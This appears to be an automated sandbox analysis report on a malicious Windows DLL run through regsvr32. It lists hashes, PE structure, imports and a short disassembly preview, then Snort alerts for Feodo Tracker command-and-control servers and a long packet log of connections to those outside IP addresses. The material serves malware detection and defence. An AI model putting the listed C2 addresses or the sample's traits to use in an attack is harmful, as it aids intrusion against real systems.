Preview:	MSCF....v.......,...................I.................BVrl .authroot.stl....oJ5..CK..8U....a..3.1.P. J.".t..2F2e.dHH......$E.KB.2D..-SJE....^..'..y.}..,{m.....\...]4.G.......h....148...e.gr.....48:.L...g.....Xef.x:..t...J...6-....kW6Z>....&......ye.U.Q&z:.vZ..._....a...]..T.E.....B.h.,...[....V.O.3..EW.x.?.Q..$.@.W..=.B.f..8a.Y.JK..g./%p..C.4CD.s..Jd.u..@.g=...a.. .h%..'.xjy7.E..\.....A..':.4TdW?Ko3$.Hg.z.d~....../q..C.....`...A[ W(.........9...GZ.;....l&?........F...p?... .p.....{S.L4..v.+...7.T?.....p..`..&..9.......f...0+.L.....1.2b)..vX5L'.~....2vz.,E.Ni.{#...o..w.?.#.3..h.v<.S%.].tD@!Le.w.q.7.8....QW.FT.....hE.........Y............./.%Q...k....Y.n..v.A..../...>B..5\..-Ko.......O<.b.K.{.O.b...._.7...4.;%9N..K.X>......kg-9..r.c.g.G\|.[.-...HT...",?.q...ad....7RE.......!f..#../....?.-.^.K.c^...+{.g......]<..$.=.O....ii7.wJ+S..Z..d.....>..J*...T..Q7..`.r,<$....\d:K`..T.n....N.....C..j.;.1SX..j....1...R....+....Yg....]....3..9..S..D..`.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1335351732898324
Encrypted:	false
SSDEEP:	6:kKNLry/7UN+SkQlPlEGYRMY9z+4KlDA3RUecZUt:9CvkPlE99SNxAhUext
MD5:	141ADD778B4D9D765C44061B65895A5C
SHA1:	B04B46DFF42488E393A9DC339242CFAEC02D4B4D
SHA-256:	F6E040EEB2079A3E39E26EA4B0C633250A3E0A756F2FC31F47FFF07852014F61
SHA-512:	74A62B27AA08D8A394883C1FE03CDC002D0FC00C8C09146E9C721EF9CE955B8F7ECF0ED108144B3AA2CDB31F0C85D6004FBC5959ACD43F73D4FBA02567505657
Malicious:	false
Preview:	p...... .........#...X..(....................................................... ..........).K......&...........v...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.d.2.f.9.2.9.a.7.4.b.d.9.1.:.0."...

Static File Info

General

File type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	0.018845395989010114
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 58.55% InstallShield setup (43055/19) 24.71% Windows Screen Saver (13104/52) 7.52% Win64 Executable (generic) (12005/4) 6.89% Generic Win/DOS Executable (2004/3) 1.15%
File name:	aOHLlvfakv.dll
File size:	571122142
MD5:	362f48619364efe57ecd00f83d1bca62
SHA1:	ae142315393512fe3f3e03dc07aed88428b6e29b
SHA256:	a873911592c3ce95d36e009f40bb376f587ad0ba6971a150a2ac10c87a2465f5
SHA512:	1ed6695b6bfdce048697963812deafcde28f7c4397af824fc6ffeda03c5ad282b52728620bb2b81a2caa782a8e91f1e888687aaf1727323d2c8365edf8c9a33a
SSDEEP:
TLSH:
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x401300
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED, DLL
DLL Characteristics:
Time Stamp:	0x64078C02 [Tue Mar 7 19:09:54 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	c73bbc818ceb2fafea2b25df17dec187

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, ecx
mov dword ptr [00050D8Bh], edx
dec esp
mov dword ptr [00050D88h], eax
dec eax
mov dword ptr [00050D75h], eax
dec eax
cmp edx, 01h
jne 00007F6B510E3691h
call 00007F6B511191CFh
call 00007F6B51114D8Ah
call 00007F6B511191D5h
dec eax
lea eax, dword ptr [00050CC9h]
dec eax
lea ecx, dword ptr [00047372h]
dec eax
mov dword ptr [eax+30h], ecx
dec eax
lea ecx, dword ptr [FFFFFCB7h]
dec eax
mov dword ptr [eax], ecx
dec eax
lea ecx, dword ptr [FFFFFF59h]
dec eax
mov dword ptr [eax+08h], ecx
dec eax
lea ecx, dword ptr [FFFFFF4Eh]
dec eax
mov dword ptr [eax+10h], ecx
dec eax
lea ecx, dword ptr [FFFFFF8Bh]
dec eax
mov dword ptr [eax+18h], ecx
dec eax
lea ecx, dword ptr [0004617Ch]
dec eax
mov dword ptr [eax+68h], ecx
dec eax
lea ecx, dword ptr [00046571h]
dec eax
mov dword ptr [eax+70h], ecx
dec eax
lea ecx, dword ptr [00046596h]
dec eax
mov dword ptr [eax+78h], ecx
dec eax
lea ecx, dword ptr [00046B3Bh]
dec eax
mov dword ptr [eax+00000080h], ecx
dec eax
lea ecx, dword ptr [0005D2EDh]
dec eax
mov dword ptr [eax+50h], ecx
mov dword ptr [eax+20h], 00000001h
dec eax
mov ecx, eax
dec eax
mov edx, dword ptr [00050CD8h]
inc esp
mov eax, dword ptr [00050CD9h]
dec esp
mov ecx, dword ptr [00050CD6h]
call 00007F6B510E373Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x81000	0x69	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x80000	0xb38	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x82000	0x2be00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x76000	0x3a38	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xae000	0x11b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4c4c8	0x4c600	False	0.4390311732815057	data	6.348222298404593	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rodata	0x4e000	0x3600	0x3600	False	0.3231336805555556	data	5.09617814286108	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x52000	0x22de0	0xe400	False	0.17931058114035087	data	2.348309483365582	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x75000	0x5d0	0x600	False	0.013020833333333334	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x76000	0x3a38	0x3c00	False	0.4626953125	data	5.526910649754969	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x7a000	0x5fd0	0x6000	False	0.14701334635416666	shared library	4.906149317469979	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x80000	0xb38	0xc00	False	0.2919921875	data	3.959226833867136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.edata	0x81000	0x69	0x200	False	0.181640625	data	1.2134297058839834	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x82000	0x2be00	0x2be00	False	0.8775151353276354	data	7.859341694371929	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xae000	0x11b4	0x1200	False	0.6178385416666666	data	5.813939662419332	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
VNRKGF	0x82184	0xa2c	data	English	United States
VNRKGF	0x82bb0	0x2b000	data	English	United States
RT_RCDATA	0xadbb0	0x10	data
RT_RCDATA	0xadbc0	0x2	data	English	United States
RT_VERSION	0xadbc4	0x1f4	data	English	United States

Imports

DLL

Import

KERNEL32

AddVectoredExceptionHandler, CloseHandle, CreateDirectoryA, CreateFileA, CreateFileW, DeleteCriticalSection, DeleteFileA, EnterCriticalSection, ExitProcess, FreeEnvironmentStringsA, GetACP, GetCPInfo, GetCurrentProcessId, GetCurrentThreadId, GetDateFormatA, GetEnvironmentStrings, GetFileAttributesA, GetFileAttributesW, GetFileSize, GetFileType, GetLastError, GetLocalTime, GetLocaleInfoA, GetModuleFileNameA, GetModuleHandleA, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoA, GetStdHandle, GetStringTypeA, GetStringTypeW, GetSystemDefaultLangID, GetSystemInfo, GetTickCount, GetTimeZoneInformation, GetUserDefaultLCID, GetVersion, GetVersionExA, HeapAlloc, HeapFree, InitializeCriticalSection, InitializeCriticalSectionAndSpinCount, IsDBCSLeadByteEx, IsDebuggerPresent, IsValidLocale, LCMapStringA, LeaveCriticalSection, LoadLibraryA, LoadLibraryW, LocalFileTimeToFileTime, MultiByteToWideChar, RaiseException, ReadFile, RemoveDirectoryA, RemoveVectoredExceptionHandler, RtlCaptureContext, SetConsoleCtrlHandler, SetEndOfFile, SetFilePointer, SetFileTime, SetHandleCount, SetLastError, SetThreadLocale, Sleep, SleepEx, SystemTimeToFileTime, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, VirtualAlloc, VirtualFree, VirtualQuery, WideCharToMultiByte, WriteFile, RtlRestoreContext, RtlUnwindEx

USER32

EnumThreadWindows, MessageBoxA, wsprintfA

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x401da0
__CPPdebugHook	2	0x474aa0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.2091.121.146.474979380802404344 03/17/23-17:41:58.374772	TCP	2404344	ET CNC Feodo Tracker Reported CnC Server TCP group 23	49793	8080	192.168.11.20	91.121.146.47
192.168.11.20182.162.143.56497994432404312 03/17/23-17:42:13.021219	TCP	2404312	ET CNC Feodo Tracker Reported CnC Server TCP group 7	49799	443	192.168.11.20	182.162.143.56
192.168.11.20167.172.199.1654980880802404308 03/17/23-17:42:27.268480	TCP	2404308	ET CNC Feodo Tracker Reported CnC Server TCP group 5	49808	8080	192.168.11.20	167.172.199.165
192.168.11.20164.90.222.65498104432404308 03/17/23-17:42:33.407520	TCP	2404308	ET CNC Feodo Tracker Reported CnC Server TCP group 5	49810	443	192.168.11.20	164.90.222.65
192.168.11.20104.168.155.1434981180802404302 03/17/23-17:42:37.517558	TCP	2404302	ET CNC Feodo Tracker Reported CnC Server TCP group 2	49811	8080	192.168.11.20	104.168.155.143
192.168.11.2066.228.32.314979570802404330 03/17/23-17:42:05.273202	TCP	2404330	ET CNC Feodo Tracker Reported CnC Server TCP group 16	49795	7080	192.168.11.20	66.228.32.31

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2023 17:41:58.374772072 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:41:58.394654989 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:41:58.394908905 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:41:58.396826982 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:41:58.416774988 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:41:58.438533068 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:41:58.438611031 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:41:58.438812971 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:41:58.441060066 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:41:58.461968899 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:41:58.506763935 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:41:59.256028891 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:41:59.256028891 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:41:59.276854038 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:42:01.236709118 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:42:01.287337065 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:42:04.236349106 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:42:04.236385107 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:42:04.236536980 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:42:04.236789942 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:42:04.236789942 CET	49793	8080	192.168.11.20	91.121.146.47
Mar 17, 2023 17:42:04.256392956 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:42:04.256506920 CET	8080	49793	91.121.146.47	192.168.11.20
Mar 17, 2023 17:42:05.273201942 CET	49795	7080	192.168.11.20	66.228.32.31
Mar 17, 2023 17:42:05.365420103 CET	7080	49795	66.228.32.31	192.168.11.20
Mar 17, 2023 17:42:05.880079031 CET	49795	7080	192.168.11.20	66.228.32.31
Mar 17, 2023 17:42:05.972516060 CET	7080	49795	66.228.32.31	192.168.11.20
Mar 17, 2023 17:42:06.473604918 CET	49795	7080	192.168.11.20	66.228.32.31
Mar 17, 2023 17:42:06.565701962 CET	7080	49795	66.228.32.31	192.168.11.20
Mar 17, 2023 17:42:07.067228079 CET	49795	7080	192.168.11.20	66.228.32.31
Mar 17, 2023 17:42:07.159077883 CET	7080	49795	66.228.32.31	192.168.11.20
Mar 17, 2023 17:42:07.660923004 CET	49795	7080	192.168.11.20	66.228.32.31
Mar 17, 2023 17:42:07.753176928 CET	7080	49795	66.228.32.31	192.168.11.20
Mar 17, 2023 17:42:13.021219015 CET	49799	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:13.021243095 CET	443	49799	182.162.143.56	192.168.11.20
Mar 17, 2023 17:42:13.021507025 CET	49799	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:13.021766901 CET	49799	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:13.021780014 CET	443	49799	182.162.143.56	192.168.11.20
Mar 17, 2023 17:42:13.262397051 CET	443	49799	182.162.143.56	192.168.11.20
Mar 17, 2023 17:42:13.263051987 CET	49800	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:13.263098955 CET	443	49800	182.162.143.56	192.168.11.20
Mar 17, 2023 17:42:13.263350010 CET	49800	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:13.263613939 CET	49800	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:13.263655901 CET	443	49800	182.162.143.56	192.168.11.20
Mar 17, 2023 17:42:13.506201982 CET	443	49800	182.162.143.56	192.168.11.20
Mar 17, 2023 17:42:13.506864071 CET	49801	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:13.506884098 CET	443	49801	182.162.143.56	192.168.11.20
Mar 17, 2023 17:42:13.507070065 CET	49801	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:13.507759094 CET	49801	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:13.507816076 CET	443	49801	182.162.143.56	192.168.11.20
Mar 17, 2023 17:42:13.508106947 CET	49801	443	192.168.11.20	182.162.143.56
Mar 17, 2023 17:42:18.770060062 CET	49802	80	192.168.11.20	187.63.160.88
Mar 17, 2023 17:42:18.991063118 CET	80	49802	187.63.160.88	192.168.11.20
Mar 17, 2023 17:42:19.501975060 CET	49802	80	192.168.11.20	187.63.160.88
Mar 17, 2023 17:42:19.722867966 CET	80	49802	187.63.160.88	192.168.11.20
Mar 17, 2023 17:42:20.236145973 CET	49802	80	192.168.11.20	187.63.160.88
Mar 17, 2023 17:42:20.457137108 CET	80	49802	187.63.160.88	192.168.11.20
Mar 17, 2023 17:42:20.970432043 CET	49802	80	192.168.11.20	187.63.160.88
Mar 17, 2023 17:42:21.191561937 CET	80	49802	187.63.160.88	192.168.11.20
Mar 17, 2023 17:42:21.704818010 CET	49802	80	192.168.11.20	187.63.160.88
Mar 17, 2023 17:42:21.925785065 CET	80	49802	187.63.160.88	192.168.11.20
Mar 17, 2023 17:42:27.268480062 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:27.428508043 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:27.428760052 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:27.429096937 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:27.588521957 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:27.598985910 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:27.599060059 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:27.599360943 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:27.602097034 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:27.762232065 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:27.812634945 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:28.055224895 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:28.255151033 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:28.880906105 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:28.921806097 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:31.878376961 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:31.878443956 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:31.878724098 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:31.878724098 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:31.878724098 CET	49808	8080	192.168.11.20	167.172.199.165
Mar 17, 2023 17:42:32.038175106 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:32.038233042 CET	8080	49808	167.172.199.165	192.168.11.20
Mar 17, 2023 17:42:33.266638041 CET	49810	443	192.168.11.20	164.90.222.65
Mar 17, 2023 17:42:33.266664028 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:33.266859055 CET	49810	443	192.168.11.20	164.90.222.65
Mar 17, 2023 17:42:33.267117977 CET	49810	443	192.168.11.20	164.90.222.65
Mar 17, 2023 17:42:33.267132044 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:33.404678106 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:33.404896021 CET	49810	443	192.168.11.20	164.90.222.65
Mar 17, 2023 17:42:33.406138897 CET	49810	443	192.168.11.20	164.90.222.65
Mar 17, 2023 17:42:33.406156063 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:33.406534910 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:33.407407999 CET	49810	443	192.168.11.20	164.90.222.65
Mar 17, 2023 17:42:33.448353052 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:33.604700089 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:33.604796886 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:33.605035067 CET	49810	443	192.168.11.20	164.90.222.65
Mar 17, 2023 17:42:33.606838942 CET	49810	443	192.168.11.20	164.90.222.65
Mar 17, 2023 17:42:33.606838942 CET	49810	443	192.168.11.20	164.90.222.65
Mar 17, 2023 17:42:33.606858015 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:33.606863976 CET	443	49810	164.90.222.65	192.168.11.20
Mar 17, 2023 17:42:37.517558098 CET	49811	8080	192.168.11.20	104.168.155.143
Mar 17, 2023 17:42:37.672061920 CET	8080	49811	104.168.155.143	192.168.11.20
Mar 17, 2023 17:42:38.185431004 CET	49811	8080	192.168.11.20	104.168.155.143
Mar 17, 2023 17:42:38.340004921 CET	8080	49811	104.168.155.143	192.168.11.20
Mar 17, 2023 17:42:38.841558933 CET	49811	8080	192.168.11.20	104.168.155.143
Mar 17, 2023 17:42:38.996213913 CET	8080	49811	104.168.155.143	192.168.11.20
Mar 17, 2023 17:42:39.497572899 CET	49811	8080	192.168.11.20	104.168.155.143
Mar 17, 2023 17:42:39.651925087 CET	8080	49811	104.168.155.143	192.168.11.20
Mar 17, 2023 17:42:40.153743029 CET	49811	8080	192.168.11.20	104.168.155.143
Mar 17, 2023 17:42:40.308238029 CET	8080	49811	104.168.155.143	192.168.11.20
Mar 17, 2023 17:42:45.763748884 CET	49812	8080	192.168.11.20	91.207.28.33
Mar 17, 2023 17:42:46.777282953 CET	49812	8080	192.168.11.20	91.207.28.33
Mar 17, 2023 17:42:48.792363882 CET	49812	8080	192.168.11.20	91.207.28.33
Mar 17, 2023 17:42:52.807138920 CET	49812	8080	192.168.11.20	91.207.28.33
Mar 17, 2023 17:43:03.822468042 CET	49814	8080	192.168.11.20	72.15.201.15
Mar 17, 2023 17:43:04.835772991 CET	49814	8080	192.168.11.20	72.15.201.15
Mar 17, 2023 17:43:06.850945950 CET	49814	8080	192.168.11.20	72.15.201.15
Mar 17, 2023 17:43:10.865731001 CET	49814	8080	192.168.11.20	72.15.201.15
Mar 17, 2023 17:43:19.772525072 CET	49815	8080	192.168.11.20	183.111.227.137
Mar 17, 2023 17:43:20.020836115 CET	8080	49815	183.111.227.137	192.168.11.20
Mar 17, 2023 17:43:20.535630941 CET	49815	8080	192.168.11.20	183.111.227.137
Mar 17, 2023 17:43:20.783593893 CET	8080	49815	183.111.227.137	192.168.11.20
Mar 17, 2023 17:43:21.285259962 CET	49815	8080	192.168.11.20	183.111.227.137
Mar 17, 2023 17:43:21.533147097 CET	8080	49815	183.111.227.137	192.168.11.20
Mar 17, 2023 17:43:22.035099030 CET	49815	8080	192.168.11.20	183.111.227.137
Mar 17, 2023 17:43:22.282741070 CET	8080	49815	183.111.227.137	192.168.11.20
Mar 17, 2023 17:43:22.784892082 CET	49815	8080	192.168.11.20	183.111.227.137
Mar 17, 2023 17:43:23.077965021 CET	8080	49815	183.111.227.137	192.168.11.20
Mar 17, 2023 17:43:28.520064116 CET	49822	8080	192.168.11.20	103.132.242.26
Mar 17, 2023 17:43:29.533441067 CET	49822	8080	192.168.11.20	103.132.242.26
Mar 17, 2023 17:43:31.548651934 CET	49822	8080	192.168.11.20	103.132.242.26
Mar 17, 2023 17:43:35.563338995 CET	49822	8080	192.168.11.20	103.132.242.26
Mar 17, 2023 17:43:43.766787052 CET	49823	8080	192.168.11.20	159.65.88.10
Mar 17, 2023 17:43:43.790045977 CET	8080	49823	159.65.88.10	192.168.11.20
Mar 17, 2023 17:43:44.295902014 CET	49823	8080	192.168.11.20	159.65.88.10
Mar 17, 2023 17:43:44.318840027 CET	8080	49823	159.65.88.10	192.168.11.20
Mar 17, 2023 17:43:44.827033997 CET	49823	8080	192.168.11.20	159.65.88.10
Mar 17, 2023 17:43:44.850227118 CET	8080	49823	159.65.88.10	192.168.11.20
Mar 17, 2023 17:43:45.358258963 CET	49823	8080	192.168.11.20	159.65.88.10
Mar 17, 2023 17:43:45.381469965 CET	8080	49823	159.65.88.10	192.168.11.20
Mar 17, 2023 17:43:45.889336109 CET	49823	8080	192.168.11.20	159.65.88.10
Mar 17, 2023 17:43:45.912477970 CET	8080	49823	159.65.88.10	192.168.11.20
Mar 17, 2023 17:43:51.265083075 CET	49824	8080	192.168.11.20	173.212.193.249
Mar 17, 2023 17:43:51.278083086 CET	8080	49824	173.212.193.249	192.168.11.20
Mar 17, 2023 17:43:51.778645039 CET	49824	8080	192.168.11.20	173.212.193.249
Mar 17, 2023 17:43:51.791685104 CET	8080	49824	173.212.193.249	192.168.11.20
Mar 17, 2023 17:43:52.294193983 CET	49824	8080	192.168.11.20	173.212.193.249
Mar 17, 2023 17:43:52.307445049 CET	8080	49824	173.212.193.249	192.168.11.20
Mar 17, 2023 17:43:52.809746027 CET	49824	8080	192.168.11.20	173.212.193.249
Mar 17, 2023 17:43:52.822951078 CET	8080	49824	173.212.193.249	192.168.11.20
Mar 17, 2023 17:43:53.325222015 CET	49824	8080	192.168.11.20	173.212.193.249
Mar 17, 2023 17:43:53.338465929 CET	8080	49824	173.212.193.249	192.168.11.20
Mar 17, 2023 17:43:58.763418913 CET	49825	8080	192.168.11.20	82.223.21.224
Mar 17, 2023 17:43:58.809401035 CET	8080	49825	82.223.21.224	192.168.11.20
Mar 17, 2023 17:43:59.323915958 CET	49825	8080	192.168.11.20	82.223.21.224
Mar 17, 2023 17:43:59.370287895 CET	8080	49825	82.223.21.224	192.168.11.20
Mar 17, 2023 17:43:59.886332035 CET	49825	8080	192.168.11.20	82.223.21.224
Mar 17, 2023 17:43:59.932274103 CET	8080	49825	82.223.21.224	192.168.11.20
Mar 17, 2023 17:44:00.432996988 CET	49825	8080	192.168.11.20	82.223.21.224
Mar 17, 2023 17:44:00.478863955 CET	8080	49825	82.223.21.224	192.168.11.20
Mar 17, 2023 17:44:00.979753017 CET	49825	8080	192.168.11.20	82.223.21.224
Mar 17, 2023 17:44:01.025233984 CET	8080	49825	82.223.21.224	192.168.11.20
Mar 17, 2023 17:44:06.511812925 CET	49827	8080	192.168.11.20	172.105.226.75
Mar 17, 2023 17:44:06.758227110 CET	8080	49827	172.105.226.75	192.168.11.20
Mar 17, 2023 17:44:07.259543896 CET	49827	8080	192.168.11.20	172.105.226.75
Mar 17, 2023 17:44:07.506124020 CET	8080	49827	172.105.226.75	192.168.11.20
Mar 17, 2023 17:44:08.009418964 CET	49827	8080	192.168.11.20	172.105.226.75
Mar 17, 2023 17:44:08.256293058 CET	8080	49827	172.105.226.75	192.168.11.20
Mar 17, 2023 17:44:08.759502888 CET	49827	8080	192.168.11.20	172.105.226.75
Mar 17, 2023 17:44:09.006118059 CET	8080	49827	172.105.226.75	192.168.11.20
Mar 17, 2023 17:44:09.509186983 CET	49827	8080	192.168.11.20	172.105.226.75
Mar 17, 2023 17:44:09.755721092 CET	8080	49827	172.105.226.75	192.168.11.20
Mar 17, 2023 17:44:15.029058933 CET	49828	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:15.029201984 CET	443	49828	103.43.75.120	192.168.11.20
Mar 17, 2023 17:44:15.029504061 CET	49828	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:15.029727936 CET	49828	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:15.029802084 CET	443	49828	103.43.75.120	192.168.11.20
Mar 17, 2023 17:44:15.311882019 CET	443	49828	103.43.75.120	192.168.11.20
Mar 17, 2023 17:44:15.312529087 CET	49829	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:15.312628031 CET	443	49829	103.43.75.120	192.168.11.20
Mar 17, 2023 17:44:15.312788010 CET	49829	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:15.313050032 CET	49829	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:15.313097954 CET	443	49829	103.43.75.120	192.168.11.20
Mar 17, 2023 17:44:15.592663050 CET	443	49829	103.43.75.120	192.168.11.20
Mar 17, 2023 17:44:15.593230963 CET	49830	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:15.593322992 CET	443	49830	103.43.75.120	192.168.11.20
Mar 17, 2023 17:44:15.593460083 CET	49830	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:15.593630075 CET	49830	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:15.593802929 CET	443	49830	103.43.75.120	192.168.11.20
Mar 17, 2023 17:44:15.594027042 CET	49830	443	192.168.11.20	103.43.75.120
Mar 17, 2023 17:44:21.027429104 CET	49831	8080	192.168.11.20	167.172.253.162
Mar 17, 2023 17:44:21.162358999 CET	8080	49831	167.172.253.162	192.168.11.20
Mar 17, 2023 17:44:21.662861109 CET	49831	8080	192.168.11.20	167.172.253.162
Mar 17, 2023 17:44:21.801440954 CET	8080	49831	167.172.253.162	192.168.11.20
Mar 17, 2023 17:44:22.303257942 CET	49831	8080	192.168.11.20	167.172.253.162
